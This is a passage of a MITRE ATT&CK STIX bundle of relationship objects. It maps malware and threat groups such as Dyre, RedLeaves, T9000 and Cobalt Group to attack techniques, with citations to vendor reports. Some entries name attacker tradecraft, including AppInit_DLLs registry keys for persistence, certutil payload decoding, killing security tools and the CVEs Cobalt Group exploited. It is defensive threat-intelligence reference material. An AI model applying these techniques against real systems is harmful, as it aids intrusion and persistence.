            "id": "relationship--6d1074cb-a9eb-4237-b8b2-d823cfa1408b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dyre](https://attack.mitre.org/software/S0024) decrypts resources needed for targeting the victim.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dyre June 2015",
                    "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"
                },
                {
                    "source_name": "Malwarebytes Dyreza November 2015",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."
                }
            ],
            "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-06-15T20:49:55.661Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs process discovery using <code>tasklist</code> commands.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.162Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
            "id": "relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can receive and execute commands with cmd.exe. It can also provide a reverse shell.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:33:02.939Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T00:19:38.042Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ISMInjector](https://attack.mitre.org/software/S0189) uses the <code>certutil</code> command to decode a payload file.(Citation: OilRig New Delivery Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "OilRig New Delivery Oct 2017",
                    "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/"
                }
            ],
            "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-28T21:35:37.265Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f8705660-10d1-4eca-80c6-f2884cdecb36",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) enumerates registry keys with the command <code>regkeyenum</code> and obtains information for the Registry key <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.584Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some data in [Remsec](https://attack.mitre.org/software/S0125) is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Remsec IOCs",
                    "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.669Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a",
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            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) encrypts C2 traffic with AES and RSA.(Citation: FireEye POSHSPY April 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-21T00:15:05.232Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Commands such as <code>net view</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about available remote systems.(Citation: Savill 1999)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.652Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "If a victim meets certain criteria, [T9000](https://attack.mitre.org/software/S0098) uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs \u2013 %APPDATA%\\Intel\\ResN32.dll</code> and <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs \u2013 0x1</code>.(Citation: Palo Alto T9000 Feb 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto T9000 Feb 2016",
                    "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
                }
            ],
            "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd",
            "type": "relationship",
            "modified": "2020-03-30T03:07:37.855Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.(Citation: RSA2017 Detect and Respond Adair)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf",
                    "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.",
                    "source_name": "RSA2017 Detect and Respond Adair"
                }
            ],
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.751Z",
            "created": "2017-05-31T21:33:27.060Z"
        },
        {
            "id": "relationship--283ba525-5180-461a-989b-87fc2f896ed7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can execute shell commands using cmd.exe.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.689Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--64a17aba-5182-4666-bd37-dafa9d835fe8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.447Z",
            "created": "2017-05-31T21:33:27.069Z"
        },
        {
            "id": "relationship--a5015a35-a6a2-4289-8d79-79b583c23e63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
            "relationship_type": "uses",
            "target_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                }
            ],
            "description": "(Citation: FireEye APT30)",
            "type": "relationship",
            "modified": "2019-03-22T18:44:28.659Z",
            "created": "2017-05-31T21:33:27.048Z"
        },
        {
            "id": "relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Based on comparison of [Gazer](https://attack.mitre.org/software/S0168) versions, [Turla](https://attack.mitre.org/groups/G0010) made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.(Citation: ESET Gazer Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92",
            "type": "relationship",
            "modified": "2019-07-14T21:04:44.978Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--bbd29878-c16a-45ee-9785-78550f080d83",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.(Citation: PWC Cloud Hopper April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "source_name": "PWC Cloud Hopper April 2017"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T00:25:45.643Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--eade28d3-c5ce-453e-8e57-3262167c30be",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects the OS name, machine name, and architecture information.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.860Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f298e191-bb50-48b2-ba3c-d432af8ec457",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) kills security tools like Wireshark that are running.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2019-06-24T19:03:52.718Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--31bd2260-ef8d-4f69-a7a8-9388e0d721c9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201)'s installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-16T16:57:38.944Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7ec2b835-9c82-4a0a-9730-5f4b87e233f4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) had exploited multiple vulnerabilities for execution, including Microsoft\u2019s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Proofpoint Cobalt June 2017)(Citation: RiskIQ Cobalt Nov 2017)(Citation: RiskIQ Cobalt Jan 2018)(Citation: Crowdstrike Global Threat Report Feb 2018)(Citation: TrendMicro Cobalt Group Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
                },
                {
                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target",
                    "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.",
                    "source_name": "Proofpoint Cobalt June 2017"
                },
                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-strike/",
                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
                    "source_name": "RiskIQ Cobalt Nov 2017"
                },
                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/",
                    "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.",
                    "source_name": "RiskIQ Cobalt Jan 2018"
                },
                {
                    "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report",
                    "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.",
                    "source_name": "Crowdstrike Global Threat Report Feb 2018"
                },
                {
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
                    "source_name": "TrendMicro Cobalt Group Nov 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2019-07-26T23:38:33.949Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--44259d7d-e156-4e09-a401-ff62f0706cdd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on user accounts within a domain.(Citation: TechNet Dsquery)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Dsquery",
                    "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx"
                }
            ],
            "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
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            "type": "relationship",
            "modified": "2020-03-18T19:46:42.380Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used the Plink utility to tunnel RDP back to C2 infrastructure.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-20T23:52:02.629Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--d5599a7e-d6a4-4de7-918a-84c3972c21ef",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                }
            ],
            "description": "(Citation: Proofpoint Leviathan Oct 2017)",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.565Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.(Citation: SecureWorks BRONZE UNION June 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.273Z",
            "created": "2017-05-31T21:33:27.062Z"
        },
        {
            "id": "relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f",
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            "description": "[Helminth](https://attack.mitre.org/software/S0170) encrypts data sent to its C2 server over HTTP with RC4.(Citation: Palo Alto OilRig May 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
